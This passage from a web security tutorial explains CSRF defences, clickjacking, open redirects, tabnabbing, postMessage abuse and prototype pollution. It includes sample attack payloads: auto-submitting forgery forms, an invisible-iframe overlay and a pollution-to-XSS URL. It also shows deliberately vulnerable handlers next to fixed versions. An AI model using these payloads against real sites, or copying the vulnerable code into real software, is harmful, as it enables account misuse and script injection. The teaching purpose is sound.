This is exactly why the HTTP spec says safe methods like GET must not cause side effects. State-changing GETs violate that contract and expand the attack surface dramatically, because GETs are embeddable in countless zero-interaction contexts (images, stylesheets, prefetch hints) that POSTs are not. The first hardening step for CSRF is therefore architectural: ensure every state-changing action uses POST/PUT/PATCH/DELETE, never GET.
POST-based CSRF is still very achievable — an attacker uses an auto-submitting hidden form (as shown previously), since HTML forms can POST cross-site with the victim's cookies attached. However, requiring POST is meaningfully better than allowing GET: it rules out the pure <img>/prefetch vectors, it interacts well with SameSite=Lax (which blocks cross-site POSTs but allows top-level GET navigations), and it forces the attacker into a more conspicuous auto-submitting page. Method discipline is not a complete defense by itself, but it is a necessary foundation that makes the other defenses (SameSite, tokens) work as intended.
Examples
<!-- GET-based CSRF: fires on page load with ZERO interaction, no form needed. -->
<img src="https://bank.example/transfer?to=attacker&amount=1000" width="0" height="0">
<!-- POST-based CSRF: needs an auto-submitting form, but still cross-site with cookies. -->
<form action="https://bank.example/transfer" method="POST" id="f">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>f.submit();</script>
| Method | Trigger needed | Example vectors | SameSite=Lax effect |
|---|---|---|---|
| GET (state-changing: bad) | Just load a URL | <img>, prefetch, link | Cookie may still ride top-level nav |
| POST | Auto-submitting form | Hidden form + script | Cross-site POST cookie withheld |
Key Takeaways
- GET-based CSRF is trivial to deliver because any URL load (
<img>, prefetch, link) can trigger it with no interaction. - State-changing
GETs violate HTTP's safe-method contract and massively enlarge the attack surface. - POST-based CSRF still works via auto-submitting forms, but requiring
POSTremoves the pure image/prefetch vectors. - Method discipline (never mutate state on
GET) is the necessary foundation that letsSameSiteand tokens work.
🧪 Practice
- Show how a state-changing
GETendpoint can be exploited with a single<img>tag.- Explain why moving an action from
GETtoPOSTreduces, but does not eliminate, CSRF risk.- Describe how
SameSite=Laxinteracts differently with GET navigations versus cross-site POSTs.- Interview-style: "Why does the HTTP spec insist that
GETbe side-effect-free, from a security view?" Hint: enumerate the zero-interaction contexts in which a browser will issue aGET.
Login CSRF and Logout CSRF
Theory
CSRF is usually imagined as forging an action as the victim, but two important variants invert or abuse the authentication flow itself. Login CSRF forges a login request that silently logs the victim into the attacker's account. The victim, now unknowingly operating inside the attacker's session, proceeds to enter sensitive data — saved payment cards, search history, uploaded documents — all of which land in the attacker-controlled account for later retrieval. It is counterintuitive because the attacker is not stealing the victim's session; they are planting their own and harvesting what the victim deposits into it.
Logout CSRF forges a logout request, forcibly ending the victim's session. On its own this is a nuisance (denial of a logged-in state), but it becomes a building block: an attacker can log the victim out and then immediately perform login CSRF to swap in the attacker's account, or use forced logout to disrupt security-sensitive flows and nudge the victim into re-authenticating on a page the attacker controls or influences. Both variants show that CSRF protection must cover the authentication endpoints, not just the "obvious" money-moving actions.
The defense is the same family as ordinary CSRF — the login and logout forms need anti-CSRF tokens and should respect SameSite cookies — but these endpoints are frequently forgotten because developers reason "there's no session yet, so what is there to protect?" Login CSRF specifically requires a token on the pre-authentication login form (a "pre-session" token) so the server can confirm the login attempt originated from its own login page. The takeaway: authentication transitions are state changes too, and must be defended against forgery like any other.
Examples
<!-- Login CSRF: silently logs the victim into the ATTACKER'S account. -->
<form action="https://app.example/login" method="POST" id="f">
<input type="hidden" name="user" value="attacker">
<input type="hidden" name="pass" value="attacker-password">
</form>
<script>f.submit();</script>
<!-- Victim is now in the attacker's session; anything they enter (cards, notes) is harvested. -->
Why login/logout endpoints are forgotten:
"No session yet -> nothing to protect" <-- the mistake
Reality: the LOGIN TRANSITION is a state change. Protect it with a pre-session
(pre-authentication) CSRF token on the login form, plus SameSite cookies.
Key Takeaways
- Login CSRF forges a login so the victim unknowingly operates in the attacker's account and deposits sensitive data there.
- Logout CSRF forcibly ends the victim's session and is often chained with login CSRF or re-auth phishing.
- Authentication endpoints are commonly left unprotected on the false assumption that "no session yet" means nothing to defend.
- Protect login with a pre-session CSRF token and respect
SameSite; treat auth transitions as state changes.
🧪 Practice
- Explain how login CSRF harms the victim even though it uses the attacker's own credentials.
- Describe a chain that combines logout CSRF with login CSRF and its end effect.
- Explain what a "pre-session" CSRF token is and why the login form needs one.
- Interview-style: "Why would an attacker want to log a victim in rather than steal their session?" Hint: think about what the victim will type next and whose account stores it.
Anti-CSRF Token Patterns
Theory
The classic, robust defense against CSRF is the anti-CSRF token (also called a CSRF token or request token): a large, unpredictable secret that the server issues, embeds in its own pages, and requires back on every state-changing request. Because the token is unique per user session (and unguessable), a cross-site attacker — who can send requests but cannot read the victim's pages due to the same-origin policy — has no way to learn the current token, so their forged request is missing the required proof of intent and is rejected. This directly supplies the "did the user intend this?" evidence that the cookie alone cannot.
The token is delivered to the legitimate page as a hidden form field or a response value the site's JavaScript reads, and it is sent back in the form body or a custom request header. The server validates that the submitted token matches the one bound to the session before performing the action. The critical property is unpredictability and binding to the user: the token must come from a CSPRNG, be tied to the session (so one user's token can't authorize another's request), and ideally be single-use or time-limited for sensitive actions. It must never be placed somewhere a cross-site page can read it.
Several things commonly break token defenses: leaking the token into a URL (where it ends up in logs and Referer headers), accepting a missing token as valid, comparing tokens non-constant-time, or — crucially — being undone by an XSS bug, since script on the page can simply read the token and include it. This last point is why CSRF tokens and XSS defenses are complementary: a token stops cross-site forgery but not same-origin script. Frameworks (Django, Rails, Spring Security, ASP.NET) ship token protection; the secure path is to use the framework's mechanism rather than inventing one.
Examples
<!-- Server embeds a per-session token in its own form; a cross-site page can't read it. -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a1B2c3D4e5F6...secretPerSession">
<input name="amount" value="100">
<button>Send</button>
</form>
# Server side: issue and then verify the token (conceptual; frameworks do this for you).
import secrets, hmac
def issue_token(session):
session['csrf'] = secrets.token_urlsafe(32) # CSPRNG, bound to this session
return session['csrf']
def verify(session, submitted):
expected = session.get('csrf', '')
# constant-time compare; reject if missing or mismatched
return bool(submitted) and hmac.compare_digest(expected, submitted)
Key Takeaways
- An anti-CSRF token is an unpredictable, session-bound secret required on state-changing requests as proof of intent.
- A cross-site attacker cannot read the victim's token (same-origin policy), so forged requests lack it and are rejected.
- Generate tokens with a CSPRNG, bind them to the session, compare in constant time, and never leak them into URLs.
- Tokens stop cross-site forgery but not same-origin XSS, which can read the token — so pair with XSS defenses and use your framework's implementation.
🧪 Practice
- Explain precisely why a cross-site attacker cannot obtain the victim's CSRF token.
- List three implementation mistakes that silently defeat token-based CSRF protection.
- Explain why an XSS vulnerability undermines CSRF tokens and what that implies about defense layering.
- Interview-style: "Where must a CSRF token never appear, and why?" Hint: think about URLs, server logs, and the
Refererheader leaking the secret cross-site.
Double Submit Cookies and Synchronizer Tokens
Theory
There are two main implementations of token-based CSRF defense, suited to different architectures. The synchronizer token pattern is the stateful classic: the server generates the token, stores it server-side bound to the session, embeds it in the page, and compares the submitted token against the stored copy. It is the most robust approach because the server holds the source of truth, but it requires per-session server state, which is awkward for stateless or heavily distributed back ends.
The double-submit cookie pattern is the stateless alternative. The server sends the CSRF token to the browser as a cookie and the page also includes the same token in a request header or body field; the server simply checks that the cookie value and the submitted value match, without storing anything. This works because of the same-origin policy: a cross-site attacker can cause the cookie to be sent (ambient authority) but cannot read it to copy it into the header, so they cannot make the two values agree. It trades the server-side store for a clever use of the SOP.
Double-submit has subtle pitfalls that make the "naive" version weaker than synchronizer tokens. If any subdomain can set cookies on the parent domain, an attacker controlling a sibling subdomain may be able to write a chosen CSRF cookie and matching header (a cookie-injection / "cookie tossing" bypass). The hardened variant is a signed (HMAC) double-submit token bound to the session, so the attacker cannot forge a valid pair, combined with __Host- cookie prefixes to prevent subdomain cookie injection. The guidance: prefer synchronizer tokens when you have session state; if you use double-submit for statelessness, use the signed, __Host--prefixed variant, not the naive compare.
Examples
Synchronizer token (stateful):
server store: { session -> TOKEN }
page form: hidden csrf_token = TOKEN
request: body csrf_token ==? server-stored TOKEN -> accept
Double-submit cookie (stateless):
Set-Cookie: csrf=TOKEN (attacker can send it, cannot READ it)
page sends: header X-CSRF: TOKEN (page read TOKEN from a readable source)
server: cookie value ==? header value -> accept (no server store)
// Double-submit on the client: copy the readable CSRF cookie into a request header.
function csrfCookie() {
return document.cookie.split('; ').find(c => c.startsWith('csrf='))?.slice(5) || '';
}
fetch('/transfer', {
method: 'POST',
credentials: 'include',
headers: { 'X-CSRF-Token': csrfCookie() }, // server compares this to the csrf cookie
body: JSON.stringify({ amount: 100 })
});
| Pattern | Server state | Key risk | Hardening |
|---|---|---|---|
| Synchronizer | Yes (stored token) | Store scaling | Most robust default |
| Naive double-submit | No | Subdomain cookie injection | Avoid naive form |
| Signed double-submit | No | — | HMAC + session binding + __Host- |
Key Takeaways
- Synchronizer tokens store the token server-side and compare against it — most robust, but needs session state.
- Double-submit cookies compare a cookie value against a submitted header/field, needing no server store, relying on the SOP that the attacker can send but not read the cookie.
- Naive double-submit is weak to subdomain cookie injection ("cookie tossing").
- Harden double-submit with an HMAC-signed, session-bound token and
__Host-cookie prefixes.
🧪 Practice
- Describe the exact comparison the server performs in each pattern and what source of truth it relies on.
- Explain why the same-origin policy is what makes the naive double-submit pattern work at all.
- Explain the subdomain cookie-injection attack on double-submit and how
__Host-plus HMAC prevents it.- Interview-style: "When would you choose double-submit over synchronizer tokens, and what must you add to do it safely?" Hint: statelessness is the reason; signing and
__Host-are the price.
SameSite Cookies as Defence
Theory
The SameSite cookie attribute is the modern, structural defense that attacks CSRF at its root — ambient authority — by instructing the browser not to send the session cookie on cross-site requests in the first place. If the cookie never accompanies a request forged by evil.example, the server sees an unauthenticated request and the forged action fails without needing any token logic. Because major browsers now default cookies to SameSite=Lax, a large fraction of classic CSRF is mitigated by default — a significant shift in the web's security baseline.
The three values trade security against functionality. SameSite=Strict never sends the cookie on any cross-site request, including top-level navigations, which is the strongest but breaks the common case of following a link from an external site into your logged-in session (the user appears logged out). SameSite=Lax — the default — withholds the cookie on cross-site subrequests and non-safe methods (so cross-site POST, <img>, fetch get no cookie) but does send it on top-level navigations using safe methods (clicking a link), preserving usability while blocking the dangerous shapes. SameSite=None disables the protection and sends the cookie everywhere; it is required for legitimate cross-site cookies (e.g., third-party embeds, some SSO) and must be marked Secure.
SameSite is powerful but not a complete replacement for tokens, for several reasons. It is enforced by the browser, so very old or non-compliant clients may ignore it; Lax still permits cross-site top-level GET navigations, so a state-changing GET remains exploitable (another reason for method discipline); and some flows legitimately need SameSite=None, reopening the gap. Best practice is defense in depth: set SameSite=Lax (or Strict where usable) and keep anti-CSRF tokens on sensitive actions, so a weakness in one layer is covered by the other.
Examples
# The browser-enforced structural defense: cookie not sent on cross-site POST/subrequests.
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
# Required only for legitimate cross-site use; weakens CSRF defense, must be Secure:
Set-Cookie: sso=...; Secure; SameSite=None
| Value | Cross-site POST/<img>/fetch | Cross-site top-level link (GET) | Use when |
|---|---|---|---|
Strict | Not sent | Not sent | Max security, no inbound-link login needed |
Lax (default) | Not sent | Sent | General sessions (good default) |
None | Sent | Sent | Legitimate cross-site cookies (must be Secure) |
Key Takeaways
SameSitestops CSRF structurally by withholding the cookie on cross-site requests, removing the ambient authority the attack needs.Lax(the modern default) blocks cross-site POST/subrequests but allows top-level link navigations;Strictblocks even those;Nonedisables it and must beSecure.- Because
Laxstill permits cross-site top-levelGET, state-changingGETs remain exploitable — enforce method discipline. - Treat
SameSiteas one layer and keep CSRF tokens on sensitive actions for defense in depth.
🧪 Practice
- Explain how
SameSite=Laxblocks a forged cross-sitePOSTbut not a user clicking an inbound link.- Give a concrete scenario that requires
SameSite=Noneand the mandatory attribute it must be paired with.- Explain why
SameSite=Laxdoes not fully protect a state-changingGETendpoint.- Interview-style: "If browsers default to
SameSite=Lax, why still implement CSRF tokens?" Hint: consider non-compliant clients,SameSite=Noneflows, and top-level GET navigations.
Origin and Referer Header Validation
Theory
A lightweight, stateless CSRF defense is to check where the request came from using the Origin and Referer request headers, which the browser sets automatically and which page JavaScript cannot forge for cross-site requests. If a state-changing request's Origin (or, as a fallback, the origin portion of Referer) does not match the application's own origin, the request did not come from the site's pages and should be rejected. This is attractive because it requires no per-session token and no server state — the server simply validates a header the browser controls.
The Origin header is the better signal: it was introduced partly for CSRF defense, contains only the scheme/host/port (no path, so it leaks less), and is sent on cross-origin requests and state-changing requests. Referer is the older, fuller URL of the originating page and can serve as a fallback, but it is less reliable — it can be stripped by privacy settings, Referrer-Policy: no-referrer, or proxies, and historically carried more data. The validation logic should fail closed on sensitive actions: if neither header is present and you cannot establish same-origin provenance, reject rather than assume safety.
The main limitations are coverage and edge cases. Some legitimate requests may lack these headers (certain navigations, older clients, aggressive privacy tooling), so a pure header check can cause false rejections or, if written to "allow when absent," create a bypass. There are also subtle risks around null origins (from sandboxed iframes, file:, or certain redirects) that must be rejected rather than allowed. For these reasons, Origin/Referer validation is best used as an additional layer alongside SameSite and/or tokens — cheap and effective against most CSRF, but not a sole defense for high-value actions.
Examples
# Server-side CSRF check: validate Origin, fall back to Referer, fail closed.
from urllib.parse import urlparse
ALLOWED = {'https://app.example'}
def origin_ok(request):
origin = request.headers.get('Origin')
if origin is not None:
return origin in ALLOWED # exact scheme+host+port match
referer = request.headers.get('Referer')
if referer:
o = urlparse(referer)
return f'{o.scheme}://{o.netloc}' in ALLOWED
return False # neither present -> reject sensitive actions
Signal quality:
Origin : scheme+host+port, set on cross-origin/state-changing reqs, minimal leak (prefer)
Referer: full URL, may be stripped by Referrer-Policy/privacy/proxies (fallback)
Beware: Origin "null" (sandboxed iframe, file://) must be REJECTED, not allowed.
Key Takeaways
- Origin/Referer validation checks request provenance against the app's own origin to reject cross-site forged requests, with no tokens or state.
Originis the preferred signal (minimal data, CSRF-oriented);Refereris a less reliable fallback that can be stripped.- Fail closed on sensitive actions and explicitly reject
null/absent origins rather than treating them as safe. - Use it as a complementary layer with
SameSiteand tokens, not as the only defense for high-value operations.
🧪 Practice
- Write server logic that accepts a request only if
Originmatches your site, falling back toReferer, and rejecting when both are absent.- Explain why
Originis generally a better CSRF signal thanReferer.- Describe why an
Origin: nullvalue must be rejected rather than allowed.- Interview-style: "What goes wrong if the header check is written to 'allow the request when Origin and Referer are both missing'?" Hint: an attacker only needs to find a way to make the headers absent to bypass the check.
CSRF in APIs and JSON Endpoints
Theory
Modern applications are often JSON APIs consumed by SPAs or mobile clients, and their CSRF exposure depends heavily on how they authenticate. The key question is: does the endpoint rely on ambient credentials (cookies)? If an API authenticates with a cookie that the browser sends automatically, it is CSRF-exposed just like a traditional form endpoint and needs CSRF defenses. If it authenticates only with a token placed in a header (e.g., Authorization: Bearer ...) that the client must explicitly add, it is largely immune, because a cross-site attacker cannot make the browser attach that header automatically — there is no ambient authority to abuse.
Cookie-authenticated JSON APIs have one partial, often-overlooked protection: a request with Content-Type: application/json cannot be produced by a simple HTML form (forms can only send application/x-www-form-urlencoded, multipart/form-data, or text/plain), and sending it via fetch/XHR cross-site triggers a CORS preflight that the server can refuse. So requiring a non-simple content type and/or a custom header (like X-Requested-With) can block form-based CSRF. But this is fragile: text/plain tricks can sometimes smuggle JSON-looking bodies, and relying on content-type alone is not a sanctioned primary defense. The robust answer for cookie-based APIs is the same as for forms: CSRF tokens (often via a custom header) plus SameSite cookies.
The practical guidance: choose an auth model deliberately. Header-based bearer tokens (not stored where XSS can trivially grab them) avoid CSRF but shift risk toward token handling and XSS. Cookie sessions are convenient and get HttpOnly/SameSite benefits but require explicit CSRF defense. For cookie-authenticated APIs, require a custom header the SPA adds (which cross-site forms cannot set), validate Origin, set SameSite, and use CSRF tokens for sensitive actions — and never assume "it's JSON, so it's safe."
Examples
CSRF exposure by auth model:
Cookie session (ambient) -> CSRF-EXPOSED: needs tokens + SameSite + Origin check
Authorization: Bearer <token> -> NOT ambient: attacker can't auto-attach it -> immune
Cookie + required custom header -> custom header can't be set by a cross-site HTML form
Why a custom header helps:
HTML <form> cannot add "X-Requested-With" or set Content-Type: application/json,
and a cross-site fetch() that does will trigger a CORS preflight the server can deny.
// Cookie-authenticated SPA request hardened with a custom header the server requires.
fetch('/api/transfer', {
method: 'POST',
credentials: 'include', // cookie session -> CSRF-relevant
headers: {
'Content-Type': 'application/json', // non-simple -> forces CORS preflight
'X-Requested-With': 'XMLHttpRequest', // a cross-site <form> cannot set this
'X-CSRF-Token': getCsrfToken() // explicit intent proof
},
body: JSON.stringify({ to: 'bob', amount: 50 })
});
Key Takeaways
- CSRF exposure for APIs hinges on ambient credentials: cookie auth is exposed; header-based bearer tokens are largely immune.
- Requiring
Content-Type: application/jsonor a custom header blocks simple form-based CSRF and forces a refusable CORS preflight, but is not a sanctioned sole defense. - For cookie-authenticated JSON APIs, use CSRF tokens (via a custom header), validate
Origin, and setSameSite. - Pick the auth model deliberately: bearer tokens trade CSRF risk for token-handling/XSS risk; cookies need explicit CSRF defense.
🧪 Practice
- Explain why an API authenticated purely with
Authorization: Beareris generally not vulnerable to CSRF.- Describe how requiring
Content-Type: application/jsonplus a custom header raises the bar against form-based CSRF, and why it is not sufficient alone.- Harden a cookie-authenticated JSON
POSTwith the specific headers and checks you would require.- Interview-style: "A team says 'our API is JSON-only, so CSRF doesn't apply.' Is that correct?" Hint: ask what authenticates the request, and whether that credential is attached by the browser automatically.
<a id="94-other-client-side-attacks"></a>
9.4 Other Client-Side Attacks
Beyond XSS and CSRF lies a family of client-side attacks that abuse the browser's UI, its messaging channels, the JavaScript language itself, and the third-party code sites embed. This section covers the most important of these, from clickjacking and open redirects to prototype pollution, supply-chain risk, and tracking.
Clickjacking and UI Redressing
Theory
Clickjacking (a form of UI redressing) tricks a user into clicking something different from what they perceive. The attacker loads the real, legitimate target site inside an invisible or disguised <iframe> and overlays it on a decoy page that the victim thinks they are interacting with. The victim's clicks pass through to the hidden real site — so they might believe they are clicking "Play video" while actually clicking "Delete account," "Authorize payment," or "Grant this app access" on the framed site, with their authenticated session. The attacker hijacks the user's intent, not their credentials.
The mechanism relies on the attacker being able to frame your page. Using CSS, the attacker sets the victim's iframe to near-zero opacity and positions a tempting decoy button exactly under the sensitive control, or uses pointer-events and precise alignment to route clicks. Variants include likejacking (hijacking social "like" buttons), cursorjacking (displaying a fake cursor offset from the real one), and drag-and-drop-based data theft. Because the framed site is genuine and the user is genuinely logged in, no XSS or CSRF token theft is needed — the attack lives entirely in the visual deception of where clicks land.
The defense is to prevent your sensitive pages from being framed by untrusted sites, which you control with the headers from 9.1: X-Frame-Options: DENY/SAMEORIGIN and, preferably, Content-Security-Policy: frame-ancestors. Additional hardening for critical actions includes requiring explicit confirmation or re-authentication (which is hard to clickjack) and server-side framebusting checks. The key principle: any page that performs a sensitive, one-click, state-changing action must declare who, if anyone, is allowed to frame it.
Examples
<!-- Attacker's decoy page frames the real bank, invisibly, over a tempting button. -->
<style>
iframe { opacity: 0.0001; position: absolute; top: 0; left: 0; /* invisible overlay */
width: 500px; height: 400px; z-index: 2; }
#decoy { position: absolute; top: 180px; left: 120px; z-index: 1; } /* under the real btn */
</style>
<button id="decoy">Click to win a prize!</button>
<iframe src="https://bank.example/transfer-confirm"></iframe>
<!-- The victim "clicks the prize" but actually clicks Confirm on the framed bank page. -->
# Defense: forbid (or restrict) who may frame your sensitive pages.
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
Key Takeaways
- Clickjacking overlays a genuine, authenticated page in an invisible iframe so the victim's clicks hit hidden sensitive controls.
- It hijacks user intent, needing no credential theft, XSS, or token — just visual deception of where clicks land.
- The attack depends on being able to frame your page, so framing control is the core defense.
- Protect sensitive pages with
X-Frame-Options/frame-ancestors, and add confirmation or re-auth for critical actions.
🧪 Practice
- Explain, step by step, how an invisible iframe plus a decoy button leads a user to perform an unintended action.
- Write the two response headers that prevent your page from being framed by other sites.
- Describe why requiring a re-authentication or confirmation step mitigates clickjacking of a critical action.
- Interview-style: "Clickjacking uses the real site with the real session — so why is it a vulnerability in your app rather than user error?" Hint: your app chose whether to permit being framed; think about who controls that.
Open Redirects and Tabnabbing
Theory
An open redirect is an endpoint that takes a URL from user input and redirects the browser to it without validating the destination — for example https://app.example/go?url=https://anywhere. On its own a redirect seems harmless, but it lends the trusted site's name to an attacker's link: a phishing email can use a genuine app.example URL that silently bounces the victim to evil.example, defeating "check the domain" instincts. Open redirects are also frequently chained into more serious attacks — bypassing URL allowlists, stealing OAuth tokens or codes by redirecting the authorization flow to an attacker-controlled redirect_uri, or laundering a javascript: URL into execution.
Reverse tabnabbing is a related client-side trap involving links that open a new tab with target="_blank". Historically, the newly opened page received a reference to the opener via window.opener, and even cross-origin it could set window.opener.location — meaning a page you link to could silently navigate your original tab to a phishing clone while the user is looking at the new tab. When they switch back, the original site appears to have "logged them out" and shows a convincing fake login. Modern browsers default target="_blank" links to rel="noopener" behavior, but explicitly adding rel="noopener noreferrer" remains the correct defensive habit, especially for user-generated links.
Defenses follow the inputs. For open redirects: avoid redirecting to user-supplied absolute URLs at all; if you must, validate against a strict allowlist of destinations (or only permit relative paths), and reject anything that is a full URL, a protocol-relative //evil.example, or a dangerous scheme. For tabnabbing: add rel="noopener noreferrer" to outbound target="_blank" links (and when opening windows via window.open, use the noopener feature), so the opened page cannot reach back into your tab. Both bugs share a theme: never let untrusted input control navigation targets without strict validation.
Examples
# VULNERABLE open redirect: redirects anywhere the user says.
@app.route('/go')
def go():
return redirect(request.args.get('url')) # -> /go?url=https://evil.example
# SAFER: allowlist destinations, or only allow local relative paths.
from urllib.parse import urlparse
@app.route('/go-safe')
def go_safe():
url = request.args.get('url', '/')
# reject absolute URLs and protocol-relative "//host"; keep it on our own site
if url.startswith('//') or urlparse(url).netloc:
return redirect('/') # refuse off-site targets
return redirect(url) # relative path only
<!-- Reverse tabnabbing defense: sever the opener relationship on external links. -->
<a href="https://external.example" target="_blank" rel="noopener noreferrer">visit</a>
<!-- noopener: opened page gets no window.opener, so it cannot navigate your tab. -->
Key Takeaways
- An open redirect bounces users to an attacker URL via a trusted domain, boosting phishing and enabling OAuth token theft and allowlist bypass.
- Prevent it by not redirecting to user-supplied absolute URLs; use a strict allowlist or relative paths only, and block
//hostand dangerous schemes. - Reverse tabnabbing lets a
target="_blank"page navigate your original tab to a phishing clone viawindow.opener. - Add
rel="noopener noreferrer"to externaltarget="_blank"links (andnoopenertowindow.open) to cut the opener link.
🧪 Practice
- Rewrite a vulnerable
/go?url=redirect handler so it only permits on-site relative destinations.- Explain how an open redirect strengthens a phishing campaign even though the landing page is attacker-controlled.
- Describe the reverse-tabnabbing attack and the exact attribute that prevents it.
- Interview-style: "How can an open redirect lead to full account takeover in an OAuth flow?" Hint: think about what the
redirect_uricarries back and where an unchecked redirect could send it.
postMessage and Cross-Window Abuse
Theory
The same-origin policy blocks most cross-origin scripting, but applications legitimately need windows, tabs, and iframes of different origins to communicate — a payment iframe talking to its host page, a widget talking to its embedder. The sanctioned channel is window.postMessage, which lets one window send a message to another across origins. The security of this channel rests entirely on two checks that developers routinely get wrong: the sender must specify the target origin, and the receiver must validate the message's origin before trusting it.
The two classic bugs are mirror images. On the sending side, calling postMessage(data, '*') broadcasts the data to whatever origin currently occupies the target window — if an attacker can influence that (e.g., via a redirect), they receive sensitive data meant for a trusted frame. On the receiving side, a handler that processes event.data without checking event.origin will act on messages from any window on the internet, since any page can postMessage to a window it has a handle to. If that handler then writes the message into the DOM, calls eval, or performs a privileged action, the result is DOM-XSS or unauthorized operations driven by an arbitrary cross-origin sender.
Correct usage is strict on both ends: senders pass the exact expected target origin (never '*' for sensitive data), and receivers first verify event.origin is on an allowlist and that event.source is the expected window, then treat the payload as untrusted data (validate its shape, never feed it to innerHTML/eval). Because postMessage handlers are a common, under-reviewed source of DOM XSS and data leaks, they deserve the same scrutiny as any other input sink: authenticate the sender, validate the content, and use safe sinks.
Examples
// VULNERABLE receiver: no origin check, and payload flows to a dangerous sink.
window.addEventListener('message', (e) => {
document.getElementById('out').innerHTML = e.data; // any site can drive this -> XSS
});
// SAFE receiver: validate origin (and source), then treat data as untrusted.
const ALLOWED = 'https://widget.vendor.example';
window.addEventListener('message', (e) => {
if (e.origin !== ALLOWED) return; // authenticate the sender FIRST
if (typeof e.data?.text !== 'string') return; // validate the shape
document.getElementById('out').textContent = e.data.text; // safe sink
});
// SAFE sender: name the exact target origin, never '*', for sensitive data.
iframe.contentWindow.postMessage({ token }, 'https://widget.vendor.example');
Key Takeaways
postMessageis the sanctioned cross-origin window channel, but its safety depends on explicit origin checks on both ends.- Senders must name the exact target origin;
postMessage(data, '*')can leak data to an attacker-controlled window. - Receivers must validate
event.origin(andevent.source) before trustingevent.data, or any site can drive the handler. - Treat message payloads as untrusted input: validate their shape and use safe sinks, never
innerHTML/eval.
🧪 Practice
- Identify the two bugs in a
messagehandler that assignsevent.datatoinnerHTMLwith no origin check, and fix both.- Explain why
postMessage(secret, '*')can leak data and how specifying the target origin prevents it.- Describe why validating
event.originmust happen before any use of the message data.- Interview-style: "A
postMessagehandler checksevent.originbut still has a DOM-XSS bug. How?" Hint: authenticating the sender does not sanitize the payload — look at what the handler does with the (now-trusted-origin) data.
Prototype Pollution in JavaScript
Theory
Prototype pollution is a JavaScript-specific vulnerability rooted in how the language does inheritance. Almost every object inherits from Object.prototype, and properties on that shared prototype are visible to all objects. If an attacker can set a property on Object.prototype — typically by abusing a special key like __proto__ during a recursive merge, clone, or property-path assignment of attacker-controlled data — they can inject a property that suddenly appears on every object in the program. The analogy is editing a shared template that every document in the building silently inherits from: change the template once, and every document now carries your addition.
The vulnerability usually appears in utility functions that deep-merge or set nested properties from untrusted input (query strings, JSON bodies, config) without guarding against the magic keys __proto__, constructor, and prototype. For example, a merge of {"__proto__": {"isAdmin": true}} into an object can walk into __proto__ and assign isAdmin onto Object.prototype, so later someObject.isAdmin reads true even though no one set it on that object. The consequences range from logic corruption (bypassing authorization checks that read a now-polluted flag), to denial of service (overwriting prototype methods), to being the first stage of code execution when a polluted property later feeds a dangerous sink (covered next).
Defenses attack the unsafe assignment. Reject or strip the dangerous keys (__proto__, constructor, prototype) in any code that builds objects from untrusted paths; use Object.create(null) for map-like objects so they have no prototype to pollute; prefer Map over plain objects for user-keyed data; freeze Object.prototype where feasible; and use well-maintained libraries whose merge/clone functions are hardened (many had CVEs and were patched). Validating input against a strict schema also helps, since a schema that doesn't permit __proto__ blocks the vector at the door.
Examples
// VULNERABLE deep-merge that follows the magic __proto__ key.
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object') {
merge(target[key] = target[key] || {}, source[key]); // walks into __proto__
} else {
target[key] = source[key];
}
}
}
merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}')); // pollutes Object.prototype
console.log(({}).isAdmin); // true <-- every object now "has" isAdmin
// DEFENSES:
function safeMerge(target, source) {
for (const key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue; // block
// ...same logic for allowed keys...
}
}
const safeMap = Object.create(null); // no prototype chain -> nothing to pollute
Key Takeaways
- Prototype pollution sets a property on the shared
Object.prototype, making it appear on every object in the program. - It arises in unguarded deep-merge/clone/path-set functions that honor the magic keys
__proto__,constructor,prototype. - Impact spans authorization-logic corruption, denial of service, and serving as the first stage of code execution.
- Defend by blocking the magic keys, using
Object.create(null)/Mapfor user data, schema validation, and hardened libraries.
🧪 Practice
- Explain why setting
__proto__.isAdminon one object affects unrelated objects across the program.- Identify the dangerous keys a merge function must reject and rewrite a merge to block them.
- Explain how
Object.create(null)or usingMapprevents prototype pollution for user-keyed data.- Interview-style: "How can prototype pollution bypass an authorization check even if the check code is correct?" Hint: the check reads a property that, after pollution, has a truthy value nobody explicitly set on that object.
Client-Side Prototype Pollution to XSS
Theory
Prototype pollution is often dismissed as "just a logic bug," but on the client it is frequently the first link in a chain that ends in XSS or code execution. The reason is script gadgets: legitimate code already present on the page — in a framework, a library, or the app itself — that reads some property and, if it is set, uses it in a dangerous way (writing to innerHTML, setting a src, building a template, calling a function by name). Normally that property is undefined and the gadget does nothing dangerous. But if an attacker pollutes the prototype so the property now exists with an attacker-chosen value, the previously inert gadget springs to life and carries the payload to a sink.
The chain has two independent pieces the attacker combines: (1) a pollution source — an unguarded merge/parse of attacker input that lets them set an arbitrary property on Object.prototype (often reachable via URL query parameters that a library parses into an object), and (2) a gadget — existing code that later reads a property with a default like options.html || '' or config.template and feeds it to a dangerous operation. Because the gadget lives in trusted first-party or library code, the resulting script execution often sails past input filters and even some CSP configurations, since it is "the app's own code" doing the DOM write.
This is why client-side prototype pollution is treated as a genuine XSS vector, not a theoretical nuisance. Defending it means closing both ends: eliminate pollution sources (block magic keys, null-prototype maps, hardened libraries, as in the previous topic) and reduce gadget availability (keep libraries updated, since many gadget-prone defaults have been patched; prefer frameworks and sanitizers that resist polluted defaults; deploy Trusted Types so that even a gadget cannot pass a raw string to a sink). Auditing requires thinking about the combination — a harmless-looking pollution bug plus a harmless-looking library default can equal critical XSS.
Examples
// Stage 1 — pollution source: a URL like ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// parsed by a vulnerable query-string-to-object helper sets Object.prototype.innerHTML.
// Stage 2 — gadget: pre-existing library code that trusts a property default.
function renderWidget(opts) {
opts = opts || {};
// The library reads a property that is NORMALLY undefined...
el.innerHTML = opts.innerHTML || defaultTemplate; // ...but prototype pollution set it!
}
renderWidget({}); // opts.innerHTML resolves via the polluted prototype -> XSS fires
// Defense in depth:
// - stop the pollution (block __proto__, null-proto objects, updated libs)
// - stop the gadget (Trusted Types rejects the raw string at innerHTML)
Key Takeaways
- Client-side prototype pollution becomes XSS by feeding a polluted property into a pre-existing "script gadget" that reaches a sink.
- The attack combines two pieces: a pollution source (unguarded merge/parse) and a gadget (library/app code trusting a property default).
